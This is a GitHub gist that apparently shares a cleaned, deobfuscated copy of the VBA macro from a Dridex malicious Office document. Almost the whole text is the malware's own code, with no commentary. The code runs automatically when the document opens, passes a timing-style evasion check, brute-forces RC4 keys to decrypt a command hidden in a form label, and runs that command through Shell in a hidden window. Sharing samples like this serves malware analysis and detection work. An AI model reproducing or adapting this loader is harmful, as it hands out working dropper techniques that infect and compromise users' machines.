Skip to content

Instantly share code, notes, and snippets.

@Antelox
Created July 14, 2016 10:29
Embed
What would you like to do?
dridex.vb's cleaned - removed garbage code
Dim SRNATGh() As Byte
Dim AsVWQk(15812 - 6812) As Long, YeAeXXV(10269 - 270) As Long
****************************************************************************************************
Private Sub GmY()
Dim N42Wo() As String, RJz As Integer
N42Wo = Split(UserForm1.Label1.Caption, Qxd7GSg(44))
Dim U7PlAu3 As String
ReDim SRNATGh(3627)
For RJz = 0 To 3627
SRNATGh(RJz) = N42Wo(RJz)
Next RJz
Dim Mea As Long
Dim XSRK2vh(13) As Byte, SSXJM(36) As Byte
XSRK2vh(0) = 237
XSRK2vh(1) = 28
XSRK2vh(2) = 3
XSRK2vh(3) = 238
XSRK2vh(4) = 231
XSRK2vh(5) = 14
XSRK2vh(6) = 250
XSRK2vh(7) = 213
XSRK2vh(8) = 86
XSRK2vh(9) = 253
XSRK2vh(10) = 10
XSRK2vh(11) = 215
XSRK2vh(12) = 237
XSRK2vh(13) = 58
SSXJM(0) = 79
SSXJM(1) = 88
SSXJM(2) = 80
SSXJM(3) = 87
SSXJM(4) = 89
SSXJM(5) = 77
SSXJM(6) = 101
SSXJM(7) = 50
SSXJM(8) = 86
SSXJM(9) = 118
SSXJM(10) = 54
SSXJM(11) = 70
SSXJM(12) = 120
SSXJM(13) = 90
SSXJM(14) = 103
SSXJM(15) = 117
SSXJM(16) = 65
For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
SSXJM(17) = UMI(Mea, 1)
SSXJM(18) = UMI(Mea, 2)
SSXJM(19) = UMI(Mea, 3)
SSXJM(20) = UMI(Mea, 4)
SSXJM(21) = SSXJM(17)
SSXJM(22) = SSXJM(18)
SSXJM(23) = SSXJM(19)
SSXJM(24) = SSXJM(20)
SSXJM(25) = SSXJM(17)
SSXJM(26) = SSXJM(18)
SSXJM(27) = SSXJM(19)
SSXJM(28) = SSXJM(20)
SSXJM(29) = SSXJM(17)
SSXJM(30) = SSXJM(18)
SSXJM(31) = SSXJM(19)
SSXJM(32) = SSXJM(20)
SSXJM(33) = SSXJM(17)
SSXJM(34) = SSXJM(18)
SSXJM(35) = SSXJM(19)
SSXJM(36) = SSXJM(20)
If Cv8Cg3(XSRK2vh, SSXJM) = "TYTKJQBmiDtlWm" Then Exit For
Next Mea
Dim NYAqlva(10) As Byte, DjFRc(35) As Byte
NYAqlva(0) = 86
NYAqlva(1) = 3
NYAqlva(2) = 109
NYAqlva(3) = 200
NYAqlva(4) = 61
NYAqlva(5) = 230
NYAqlva(6) = 34
NYAqlva(7) = 53
NYAqlva(8) = 211
NYAqlva(9) = 172
NYAqlva(10) = 225
Dim U7PlAu12 As String
DjFRc(0) = 77
DjFRc(1) = 120
DjFRc(2) = 69
DjFRc(3) = 90
DjFRc(4) = 107
DjFRc(5) = 89
DjFRc(6) = 72
DjFRc(7) = 100
DjFRc(8) = 52
DjFRc(9) = 87
DjFRc(10) = 87
DjFRc(11) = 105
DjFRc(12) = 84
DjFRc(13) = 55
DjFRc(14) = 52
DjFRc(15) = 89
For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
DjFRc(16) = UMI(Mea, 1)
DjFRc(17) = UMI(Mea, 2)
DjFRc(18) = UMI(Mea, 3)
DjFRc(19) = UMI(Mea, 4)
DjFRc(20) = DjFRc(16)
DjFRc(21) = DjFRc(17)
DjFRc(22) = DjFRc(18)
DjFRc(23) = DjFRc(19)
DjFRc(24) = DjFRc(16)
DjFRc(25) = DjFRc(17)
DjFRc(26) = DjFRc(18)
DjFRc(27) = DjFRc(19)
DjFRc(28) = DjFRc(16)
DjFRc(29) = DjFRc(17)
DjFRc(30) = DjFRc(18)
DjFRc(31) = DjFRc(19)
DjFRc(32) = DjFRc(16)
DjFRc(33) = DjFRc(17)
DjFRc(34) = DjFRc(18)
DjFRc(35) = DjFRc(19)
If Cv8Cg3(NYAqlva, DjFRc) = "DHS4qvwNRXr" Then Exit For
Next Mea
Dim V9PbJkV(15) As Byte, LW(36) As Byte
V9PbJkV(0) = 41
V9PbJkV(1) = 167
V9PbJkV(2) = 214
V9PbJkV(3) = 167
V9PbJkV(4) = 44
V9PbJkV(5) = 230
V9PbJkV(6) = 182
V9PbJkV(7) = 5
V9PbJkV(8) = 218
V9PbJkV(9) = 85
V9PbJkV(10) = 185
V9PbJkV(11) = 32
V9PbJkV(12) = 31
V9PbJkV(13) = 179
V9PbJkV(14) = 43
V9PbJkV(15) = 107
LW(0) = 85
LW(1) = 54
LW(2) = 83
LW(3) = 84
LW(4) = 76
LW(5) = 75
LW(6) = 118
LW(7) = 119
LW(8) = 56
LW(9) = 85
LW(10) = 90
LW(11) = 66
LW(12) = 115
LW(13) = 97
LW(14) = 115
LW(15) = 56
LW(16) = 90
For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
LW(17) = UMI(Mea, 1)
LW(18) = UMI(Mea, 2)
LW(19) = UMI(Mea, 3)
LW(20) = UMI(Mea, 4)
LW(21) = LW(17)
LW(22) = LW(18)
LW(23) = LW(19)
LW(24) = LW(20)
LW(25) = LW(17)
LW(26) = LW(18)
LW(27) = LW(19)
LW(28) = LW(20)
LW(29) = LW(17)
LW(30) = LW(18)
LW(31) = LW(19)
LW(32) = LW(20)
LW(33) = LW(17)
LW(34) = LW(18)
LW(35) = LW(19)
LW(36) = LW(20)
If Cv8Cg3(V9PbJkV, LW) = "QjthqMM0nBOiLvHY" Then Exit For
Next Mea
Dim NSJBW7B(15) As Byte, K2Z(37) As Byte
'ingredient
NSJBW7B(0) = 171
NSJBW7B(1) = 107
NSJBW7B(2) = 175
NSJBW7B(3) = 221
NSJBW7B(4) = 59
NSJBW7B(5) = 101
NSJBW7B(6) = 156
NSJBW7B(7) = 9
NSJBW7B(8) = 207
NSJBW7B(9) = 162
NSJBW7B(10) = 59
NSJBW7B(11) = 196
NSJBW7B(12) = 242
NSJBW7B(13) = 21
NSJBW7B(14) = 42
NSJBW7B(15) = 42
K2Z(0) = 73
K2Z(1) = 101
K2Z(2) = 103
K2Z(3) = 108
K2Z(4) = 69
K2Z(5) = 54
K2Z(6) = 73
K2Z(7) = 70
K2Z(8) = 117
K2Z(9) = 101
K2Z(10) = 66
K2Z(11) = 89
K2Z(12) = 118
K2Z(13) = 69
K2Z(14) = 83
K2Z(15) = 66
K2Z(16) = 90
K2Z(17) = 98
For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
K2Z(18) = UMI(Mea, 1)
K2Z(19) = UMI(Mea, 2)
K2Z(20) = UMI(Mea, 3)
K2Z(21) = UMI(Mea, 4)
K2Z(22) = K2Z(18)
K2Z(23) = K2Z(19)
K2Z(24) = K2Z(20)
K2Z(25) = K2Z(21)
K2Z(26) = K2Z(18)
K2Z(27) = K2Z(19)
K2Z(28) = K2Z(20)
K2Z(29) = K2Z(21)
K2Z(30) = K2Z(18)
K2Z(31) = K2Z(19)
K2Z(32) = K2Z(20)
K2Z(33) = K2Z(21)
K2Z(34) = K2Z(18)
K2Z(35) = K2Z(19)
K2Z(36) = K2Z(20)
K2Z(37) = K2Z(21)
If Cv8Cg3(NSJBW7B, K2Z) = "BZay9OtzSvNJpWTY" Then Exit For
Next Mea
Dim SiHbpw(147) As Byte, SIf As Long, CRfSt As Long
SIf = 0
CRfSt = 0
For Mea = 0 To OHb(SSXJM)
SiHbpw(Mea) = SSXJM(Mea)
SIf = SIf + 1
Next Mea
For Mea = OHb(SSXJM) + 1 To OHb(DjFRc) + SIf
SiHbpw(Mea) = DjFRc(CRfSt)
CRfSt = CRfSt + 1
SIf = SIf + 1
Next Mea
CRfSt = 0
For Mea = SIf To OHb(LW) + SIf
SiHbpw(Mea) = LW(CRfSt)
CRfSt = CRfSt + 1
SIf = SIf + 1
Next Mea
CRfSt = 0
For Mea = SIf To OHb(K2Z) + SIf
SiHbpw(Mea) = K2Z(CRfSt)
CRfSt = CRfSt + 1
SIf = SIf + 1
Next Mea
OcMm1T = Cv8Cg3(SRNATGh, SiHbpw)
Shell OcMm1T, (374 - 374)
End Sub
****************************************************************************************************
****************************************************************************************************
Private Sub GwQ9d()
End Sub
****************************************************************************************************
****************************************************************************************************
Private Function Qxd7GSg(ByVal BHxHFg As Integer) As String
Dim Wz(1) As Byte, KPA3 As Byte, LrdfxYI As Byte
If BHxHFg < 0 Then Exit Function
If BHxHFg > 255 Then
LrdfxYI = 0
Else
KPA3 = BHxHFg
LrdfxYI = 0
End If
Wz(0) = KPA3
Wz(1) = LrdfxYI
Qxd7GSg = Wz
End Function
****************************************************************************************************
****************************************************************************************************
Private Function Cv8Cg3(K2fkl() As Byte, TBfWWQw() As Byte) As String
Dim DkB(0 To 255) As Integer, TzwC2o8 As Long, JuxOGCD As Long, YpxaVbI As Long, TjCv As Byte, GA() As Byte, OT() As Byte
ReDim GA(OHb(K2fkl)) As Byte
GA = K2fkl
ReDim OT(OHb(TBfWWQw)) As Byte
OT = TBfWWQw
For TzwC2o8 = 0 To 255
DkB(TzwC2o8) = TzwC2o8
Next TzwC2o8
TzwC2o8 = 0
JuxOGCD = 0
YpxaVbI = 0
For TzwC2o8 = 0 To 255
JuxOGCD = SGo0s((JuxOGCD + DkB(TzwC2o8) + OT(SGo0s(TzwC2o8, (OHb(TBfWWQw) + 1)))), (256))
TjCv = DkB(TzwC2o8)
DkB(TzwC2o8) = DkB(JuxOGCD)
DkB(JuxOGCD) = TjCv
Next TzwC2o8
TzwC2o8 = 0
JuxOGCD = 0
YpxaVbI = 0
For TzwC2o8 = 0 To OHb(K2fkl)
JuxOGCD = SGo0s((JuxOGCD + 1), 256)
YpxaVbI = SGo0s((YpxaVbI + DkB(JuxOGCD)), 256)
TjCv = DkB(JuxOGCD)
DkB(JuxOGCD) = DkB(YpxaVbI)
DkB(YpxaVbI) = TjCv
GA(TzwC2o8) = Iy23W(GA(TzwC2o8), (DkB(SGo0s((DkB(JuxOGCD) + DkB(YpxaVbI)), (256)))))
Next TzwC2o8
Cv8Cg3 = M6C(GA)
End Function
****************************************************************************************************
****************************************************************************************************
Private Function Iy23W(Y4lZ, RvJWmVD)
Iy23W = (Y4lZ And Not RvJWmVD) Or (Not Y4lZ And RvJWmVD)
End Function
****************************************************************************************************
****************************************************************************************************
Private Function OHb(ByVal Uv0ZqrD As Variant) As Long
Dim Jkpzfs As Long, SzvYWV As Variant
Do
SzvYWV = Uv0ZqrD(Jkpzfs)
Jkpzfs = Jkpzfs + 1
Loop
If Jkpzfs = 0 Then Exit Function
OHb = Jkpzfs - 1
End Function
****************************************************************************************************
****************************************************************************************************
Private Function CHnp(ByVal KJJPl As String, ByVal To8G4k As Long, ByVal Fbz As Variant) As String
'abstained
Dim KXC0() As Byte, RZiZ4() As Byte, Lvd As Long, XhKwG As Long
KXC0 = KJJPl
Lvd = OHb(KXC0)
To8G4k = (To8G4k - 1) * 2
Fbz = (Fbz * 2) - 1
If To8G4k + Fbz > Lvd Then Fbz = Lvd - To8G4k
ReDim RZiZ4(Fbz)
For XhKwG = To8G4k To To8G4k + Fbz
RZiZ4(XhKwG - To8G4k) = KXC0(XhKwG)
Next XhKwG
CHnp = RZiZ4
End Function
*****************************************************************************************************
*****************************************************************************************************
Private Function UMI(AavXhKZ As Long, QUvjvie As Long) As Byte
Dim E9 As Long, Yp As Long
For E9 = 48 To 57
If CHnp(AavXhKZ, QUvjvie, 1) = Yp Then UMI = E9: Exit For
Yp = Yp + 1
Next E9
End Function
*****************************************************************************************************
*****************************************************************************************************
Private Sub dOCuMeNt_oPEN()
On Error Resume Next
Dim Mbau As Long, FS7rPff As Long, UN83e3l As Long
Mbau = 91034
For FS7rPff = 1 To Mbau
UN83e3l = UN83e3l + 1
Next FS7rPff
If UN83e3l = Mbau Then
GmY
Else
GwQ9d
End If
End Sub
*****************************************************************************************************
*****************************************************************************************************
Private Function M6C(PWwslQ6() As Byte) As String
Dim UmtI5E As Long
'invades
For UmtI5E = 0 To OHb(PWwslQ6)
M6C = M6C & Qxd7GSg(PWwslQ6(UmtI5E))
Next UmtI5E
End Function
*****************************************************************************************************
*****************************************************************************************************
Private Function SGo0s(TUO, KDSkW)
SGo0s = TUO - (KDSkW * (TUO \ KDSkW))
End Function
*****************************************************************************************************
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment